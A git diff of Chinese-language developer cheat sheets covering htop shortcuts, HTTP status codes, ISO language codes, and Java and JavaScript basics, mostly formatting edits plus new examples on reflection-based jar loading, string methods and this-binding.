@ -81,7 +81,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`p` | 在适用的情况下显示运行程序的完整路径(这是一个切换键)
`Ctrl-L` | 刷新:重绘屏幕并重新计算数值
`Numbers` | PID搜索输入进程ID选择突出显示将移至它
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 排序/线程
@ -93,7 +93,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`I` | `反转`排序顺序
`K` | 隐藏`内核`线程
`H` | 隐藏`用户`线程
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->
### 滚动
@ -108,4 +108,4 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
`End` | 滚动到流程列表的`底部` <br /> _选择最后一个流程_
`Ctrl-A`, `^` | 向`左`滚动到流程条目`开头` _(即行开头)_
`Ctrl-E`, `$` | 向`右`滚动到流程条目`末尾` _(即行尾)_
<!--rehype:className=shortcuts-->
<!--rehype:className=shortcuts-->

View File

@ -6,7 +6,7 @@ HTTP 状态码备忘清单。 每个 HTTP 状态代码的快速参考。
HTTP 状态码
---
### Means
### Means
- [1xx: Informational](#1xx-信息) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
- [2xx: Success](#2xx-成功的) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
@ -17,63 +17,63 @@ HTTP 状态码
### 2xx. 成功的
<!--rehype:wrap-class=row-span-2-->
* [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
* [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成并创建了一个新资源_<!--rehype:tooltips-->
* [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理但处理未完成_<!--rehype:tooltips-->
* [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本而不是来自原始服务器_<!--rehype:tooltips-->
* [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头但响应中没有实体主体_<!--rehype:tooltips-->
* [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
* [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
- [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
- [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成并创建了一个新资源_<!--rehype:tooltips-->
- [202: Accepted](https://tools.ietf.org/html/rfc7231#section-6.3.3) _接受请求进行处理但处理未完成_<!--rehype:tooltips-->
- [203: Non-Authoritative Information](https://tools.ietf.org/html/rfc7231#section-6.3.4) _实体标头中的信息来自本地或第三方副本而不是来自原始服务器_<!--rehype:tooltips-->
- [204: No Content](https://tools.ietf.org/html/rfc7231#section-6.3.5) _响应中给出了状态码和标头但响应中没有实体主体_<!--rehype:tooltips-->
- [205: Reset Content](https://tools.ietf.org/html/rfc7231#section-6.3.6) _浏览器应清除用于此事务的表单以获取其他输入_<!--rehype:tooltips-->
- [206: Partial Content](https://tools.ietf.org/html/rfc7233#section-4.1) _服务器正在返回请求大小的部分数据。 用于响应指定 Range 标头的请求。 服务器必须使用 Content-Range 标头指定响应中包含的范围_<!--rehype:tooltips-->
### 4xx. 客户端错误
<!--rehype:wrap-class=row-span-3-->
* [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
* [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
* [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
* [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
* [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
* [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
* [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
* [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证然后才能提供此请求_<!--rehype:tooltips-->
* [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
* [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突请求无法完成_<!--rehype:tooltips-->
* [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
* [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它服务器将不会接受请求_<!--rehype:tooltips-->
* [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
* [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求因为请求实体太大_<!--rehype:tooltips-->
* [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
* [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求因为不支持媒体类型_<!--rehype:tooltips-->
* [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
* [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
* [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
* [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
- [400: Bad Request](https://tools.ietf.org/html/rfc7231#section-6.5.1) _服务器不理解该请求_<!--rehype:tooltips-->
- [401: Unauthorized](https://tools.ietf.org/html/rfc7235#section-3.1) _请求的页面需要用户名和密码_<!--rehype:tooltips-->
- [402: Payment Required](https://tools.ietf.org/html/rfc7231#section-6.5.2) _您还不能使用此代码_<!--rehype:tooltips-->
- [403: Forbidden](https://tools.ietf.org/html/rfc7231#section-6.5.3) _禁止访问请求的页面_<!--rehype:tooltips-->
- [404: Not Found](https://tools.ietf.org/html/rfc7231#section-6.5.4) _服务器找不到请求的页面_<!--rehype:tooltips-->
- [405: Method Not Allowed](https://tools.ietf.org/html/rfc7231#section-6.5.5) _请求中指定的方法是不允许的_<!--rehype:tooltips-->
- [406: Not Acceptable](https://tools.ietf.org/html/rfc7231#section-6.5.6) _服务器只能生成客户端不接受的响应_<!--rehype:tooltips-->
- [407: Proxy Authentication Required](https://tools.ietf.org/html/rfc7235#section-3.2) _您必须先通过代理服务器进行身份验证然后才能提供此请求_<!--rehype:tooltips-->
- [408: Request Timeout](https://tools.ietf.org/html/rfc7231#section-6.5.7) _请求花费的时间比服务器准备等待的时间长_<!--rehype:tooltips-->
- [409: Conflict](https://tools.ietf.org/html/rfc7231#section-6.5.8) _由于冲突请求无法完成_<!--rehype:tooltips-->
- [410: Gone](https://tools.ietf.org/html/rfc7231#section-6.5.9) _请求的页面不再可用_<!--rehype:tooltips-->
- [411: Length Required](https://tools.ietf.org/html/rfc7231#section-6.5.10) _“Content-Length”未定义。 没有它服务器将不会接受请求_<!--rehype:tooltips-->
- [412: Precondition Failed](https://tools.ietf.org/html/rfc7232#section-4.2) _请求中给出的前提条件被服务器评估为 false_<!--rehype:tooltips-->
- [413: Payload Too Large](https://tools.ietf.org/html/rfc7231#section-6.5.11) _服务器不会接受请求因为请求实体太大_<!--rehype:tooltips-->
- [414: URI Too Long](https://tools.ietf.org/html/rfc7231#section-6.5.12) _服务器不会接受请求因为 url 太长。 当您将“发布”请求转换为具有长查询信息的“获取”请求时发生_<!--rehype:tooltips-->
- [415: Unsupported Media Type](https://tools.ietf.org/html/rfc7231#section-6.5.13) _服务器不会接受请求因为不支持媒体类型_<!--rehype:tooltips-->
- [416: Range Not Satisfiable](https://tools.ietf.org/html/rfc7233#section-4.4) _请求的字节范围不可用且超出范围_<!--rehype:tooltips-->
- [417: Expectation Failed](https://tools.ietf.org/html/rfc7231#section-6.5.14) _此服务器无法满足在 Expect 请求标头字段中给出的期望_<!--rehype:tooltips-->
- [426: Upgrade Required](https://tools.ietf.org/html/rfc7231#section-6.5.15) _服务器拒绝使用当前协议执行请求但在客户端升级到不同协议后可能愿意这样做_<!--rehype:tooltips-->
- [451: Unavailable For Legal Reasons](https://datatracker.ietf.org/doc/html/rfc7725#section-3) _此状态代码表示服务器拒绝访问资源作为法律要求的结果_<!--rehype:tooltips-->
### 1xx. 信息
* [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分但只要没有被拒绝客户端就应该继续请求_<!--rehype:tooltips-->
* [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
* [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
- [100: Continue](https://tools.ietf.org/html/rfc7231#section-6.2.1) _服务器只收到了请求的一部分但只要没有被拒绝客户端就应该继续请求_<!--rehype:tooltips-->
- [101: Switching Protocols](https://tools.ietf.org/html/rfc7231#section-6.2.2) _服务器切换协议_<!--rehype:tooltips-->
- [102: Processing](https://tools.ietf.org/html/rfc2518#section-10.1) _用于通知客户端服务器已接受完整请求但尚未完成的临时响应_<!--rehype:tooltips-->
### 3xx. 重定向
* [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
* [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
* [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
* [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
* [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
* [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
* [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用但代码被保留_<!--rehype:tooltips-->
* [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
- [300: Multiple Choices](https://tools.ietf.org/html/rfc7231#section-6.4.1) _一个链接列表。 用户可以选择一个链接并转到该位置。 最多五个地址_<!--rehype:tooltips-->
- [301: Moved Permanently](https://tools.ietf.org/html/rfc7231#section-6.4.2) _请求的页面已移至新的 url_<!--rehype:tooltips-->
- [302: Found](https://tools.ietf.org/html/rfc7231#section-6.4.3) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
- [303: See Other](https://tools.ietf.org/html/rfc7231#section-6.4.4) _请求的页面可以在不同的 url 下找到_<!--rehype:tooltips-->
- [304: Not Modified](https://tools.ietf.org/html/rfc7232#section-4.1) _这是对 If-Modified-Since 或 If-None-Match 标头的响应代码,其中 URL 自指定日期以来未修改_<!--rehype:tooltips-->
- [305: Use Proxy](https://tools.ietf.org/html/rfc7231#section-6.4.5) _请求的 URL 必须通过 Location 标头中提到的代理访问_<!--rehype:tooltips-->
- [306: Unused](https://tools.ietf.org/html/rfc7231#section-6.4.6) _此代码在以前的版本中使用过。 它不再使用但代码被保留_<!--rehype:tooltips-->
- [307: Temporary Redirect](https://tools.ietf.org/html/rfc7231#section-6.4.7) _请求的页面已临时移动到新的 url_<!--rehype:tooltips-->
### 5xx. 服务器错误
* [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
* [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
* [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
* [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
* [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
* [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
- [500: Internal Server Error](https://tools.ietf.org/html/rfc7231#section-6.6.1) _请求未完成。服务器遇到了意外情况_<!--rehype:tooltips-->
- [501: Not Implemented](https://tools.ietf.org/html/rfc7231#section-6.6.2) _请求未完成。服务器不支持所需的功能_<!--rehype:tooltips-->
- [502: Bad Gateway](https://tools.ietf.org/html/rfc7231#section-6.6.3) _请求未完成。服务器收到来自上游服务器的无效响应_<!--rehype:tooltips-->
- [503: Service Unavailable](https://tools.ietf.org/html/rfc7231#section-6.6.4) _请求未完成。服务器暂时超载或停机_<!--rehype:tooltips-->
- [504: Gateway Timeout](https://tools.ietf.org/html/rfc7231#section-6.6.5) _网关已超时_<!--rehype:tooltips-->
- [505: HTTP Version Not Supported](https://tools.ietf.org/html/rfc7231#section-6.6.6) _服务器不支持“http 协议”版本_<!--rehype:tooltips-->
### RESTful API

View File

@ -182,4 +182,4 @@ array[]=second value
- [INI 文件配置](https://en.wikipedia.org/wiki/INI_file) _(wikipedia.org)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

View File

@ -3,7 +3,6 @@ ISO 639-1 Language Code 备忘清单
这是一个符合 ISO 639-1 标准的 ISO 语言代码列表,它为多语言网站提供参考。
入门
----
@ -24,7 +23,7 @@ ISO 639-1 代码列表
### 完整代码
<!--rehype:wrap-class=col-span-3-->
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
639-1 代码 | ISO 语言(中文)名称 | ISO 语言名称 | 本地名称 (地名)
:-|:-|:-|:-
`aa` | 阿法尔语 | Afar | Afaraf
`ab` | 阿布哈兹语 | Abkhaz | аҧсуа бызшәа
@ -234,4 +233,4 @@ ht | hat | 海地克里奥尔语 | 2003年2月26日 | 新增 | cpf
<!--rehype:wrap-class=col-span-3-->
- [国际化与本地化](https://zh.wikipedia.org/wiki/国际化与本地化) _(wikipedia.org)_
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_

View File

@ -35,7 +35,7 @@ int num = 5;
float floatNum = 5.99f;
char letter = 'D';
boolean bool = true;
String site = "quickref.me";
String site = "jaywcjlove.github.io";
```
### 原始数据类型
@ -73,6 +73,7 @@ for (char c: word.toCharArray()) {
}
// 输出: Q-u-i-c-k-R-e-f-
```
查看: [Loops](#java-循环)
### 数组 Arrays
@ -85,6 +86,7 @@ String[] letters = {"A", "B", "C"};
int[] mylist = {100, 200};
boolean[] answers = {true, false};
```
查看: [Arrays](#java-数组)
### Swap
@ -127,9 +129,10 @@ if (j == 10) {
}
```
查看: [Conditionals](#java-conditionals)
查看: [Conditionals](#条件语句 Conditionals)
### 用户输入
```java
Scanner in = new Scanner(System.in);
String str = in.nextLine();
@ -175,48 +178,60 @@ StringBuilder sb = new StringBuilder(10);
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("Reference");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | e | r | e | n | c | e |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.delete(3, 9);
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| R | e | f | | | | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.insert(0, "My ");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | | | |
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
0 1 2 3 4 5 6 7 8 9
```
---
```java
sb.append("!");
```
---
```java
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
| M | y | | R | e | f | ! | | |
@ -286,7 +301,7 @@ System.out.println(concat);
Java 数组
-------
### 明 Declare
### 明 Declare
```java
int[] a1;
@ -370,7 +385,7 @@ Java 条件语句
- `!` _(逻辑补码运算符;反转布尔值)_
<!--rehype:className=style-round-->
----
---
- `==` _(等于)_
- `!=` _(不等于)_
@ -380,19 +395,19 @@ Java 条件语句
- `<=` _(小于或等于)_
<!--rehype:className=cols-2 style-round-->
----
---
- `&&` _条件与_
- `||` _条件或_
- [?:](#三元运算符) _三元(if-then-else 语句的简写)_
<!--rehype:className=style-round-->
----
---
- `instanceof` _(将对象与指定类型进行比较)_
<!--rehype:className=style-round-->
----
---
- `~` _(一元按位补码)_
- `<<` _(签名左移)_
@ -462,7 +477,7 @@ for (int i = 0; i < 10; i++) {
// 输出: 0123456789
```
------
---
```java
for (int i = 0,j = 0; i < 3; i++,j--) {
@ -537,28 +552,28 @@ Java 框架搜集
搜集 | Interface | 有序 | 已排序 | 线程安全 | 复制 | Nullable
:-|:-|:-|:-|:-|:-|:-
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
<!--rehype:className=show-header-->
### ArrayList
@ -768,7 +783,41 @@ try {
}
```
### 反射
```java
/**
* 利用反射动态加载依赖库
* java9及以上版本可用
* @param jar jar文件
*/
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
method.setAccessible(true);
MethodHandle addURL = lookup.unreflect(method);
URL url = jar.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {url});
addURL.invoke(urlClassLoader, url);
//java8
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
method.setAccessible(true);
method.invoke(classLoader, url);
```
### util工具类
- `ArrayDeque` 提供 resizable-array 并实现 Deque 接
- `Arrays` 包含一个静态工厂,允许将数组视为列表
- `Collections` 包含对集合进行操作或返回集合的静态方法
- `Date` 表示特定的时间瞬间,精度为毫秒
- `Dictionary` 是任何类的抽象父类,例如 Hashtable它将键映射到值
- `EnumMap` 一个专门用于枚举键的 Map 实现
- `EnumSet` 一个专门用于枚举键的 Set 实现
- `Formatter` 提供对布局对齐和对齐、数字、字符串和日期/时间数据的常用格式以及特定于语言环境的输出的支持
- `SecureRandom` 实例用于生成安全的伪随机数流
- `UUID` 表示一个不可变的通用唯一标识符
- `Vector` 实现了一个可增长的对象数组
另见
---
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_

View File

@ -42,6 +42,7 @@ function potentiallyBuggyCode() {
let amount = 6;
let price = 4.99;
let home = 1e2;
let num = 1_000_000; // 位数过多可以用 _ 分割
let m = 0644; // 八进制数字 420
```
@ -54,7 +55,6 @@ count = 10;
console.log(count); // => 10
```
### const 关键字
```javascript
@ -143,13 +143,24 @@ abc.concat(" ", str2); // abc + " " + str2
abc.charAt(2); // 索引处的字符“c”
abc[2]; // 不安全abc[2] = "C" 不起作用
// 索引处的字符代码“c”-> 99
abc.charCodeAt(2);
abc.charCodeAt(2);
// 用逗号分割字符串给出一个数组
abc.split(",");
abc.split(",");
// 分割字符
abc.split("");
abc.split("");
// 匹配开头字符串,如果忽略第二个参数,则从索引 0 开始匹配
abc.startsWith("bc", 1);
// 匹配结尾的字符串,如果忽略第二个参数,则默认是原字符串长度
abc.endsWith("wxy", abc.length - 1);
// padEnd 和 padStart 都用于填充长度,默认填充对象是空格
"200".padEnd(5); // "200 "
"200".padEnd(5, "."); // "200.."
// 重复字符
"abc".repeat(2); // "abcabc"
// trim、trimEnd 和 trimStart 用于去除首尾空格
" ab c ".trim(); // "ab c"
// 数字转为十六进制 (16)、八进制 (8) 或二进制 (2)
128.toString(16);
(128).toString(16);
```
### 数字
@ -220,9 +231,9 @@ String(23);
(23).toString();
// 从字符串返回数字
Number("23");
// 解码 URI。 结果:“我的 page.asp”
// 解码 URI。 结果:“my page.asp”
decodeURI(enc);
// 编码 URI。 结果“my%page.asp”
// 编码 URI。 结果“my%20page.asp”
encodeURI(uri);
// 解码 URI 组件
decodeURIComponent(enc);
@ -238,11 +249,9 @@ parseFloat();
parseInt();
```
JavaScript 条件
----
### 操作符
<!--rehype:wrap-class=row-span-3-->
@ -273,7 +282,7 @@ true && false; // false
1 === '1' // false
```
#### 逻辑运算符 !
#### 逻辑运算符
```javascript
let lateToWork = true;
@ -727,7 +736,6 @@ numbers.concat(newFirstNumber)
如果你想避免改变你的原始数组,你可以使用 concat。
### 方法 .splice()
```javascript
@ -1182,6 +1190,100 @@ console.log(myCat.name);
myCat.name = 'Yankee';
```
JavaScript this 绑定
----
### 隐式绑定
```js
function foo() {
console.log(this)
}
let obj1 = {
name: "obj1",
foo: foo
}
let obj2 = {
name: "obj2",
obj1: obj1
}
obj2.obj1.foo() // [Object obj1]
```
#### 隐式丢失
```js
let a = obj2.obj1.foo()
a() // Window
```
- 指定隐式绑定:必须在调用的对象内部有一个对函数的引用(比如一个属性)
- 将以上调用赋值给一个变量,结果最终会是 Window
- 在 a 被调用的位置没有进行过任何显示绑定,最终全局对象 window 会调用它(`Window.a`
<!--rehype:className=style-round-->
### 显示绑定
```js
function getName(a1, a2) {
console.log("此人" + this.name, "岁数" + (a1 + a2))
}
let person = {
name: "zhangsan"
}
```
#### call
call 第一个参数接受 this 作用域,剩余参数传递给其调用的函数
```js
getName.call(person, 18, 12)
```
#### apply
apply 第一个参数与 call 相同,第二个参数是其调用函数的参数数组
```js
getName.apply(person, [18, 12])
```
#### bind
bind 函数会返回一个新函数
```js
getName.bind(person,18,12)()
//或者可以这样
getName.bind(person)(18, 12)
//或者这样
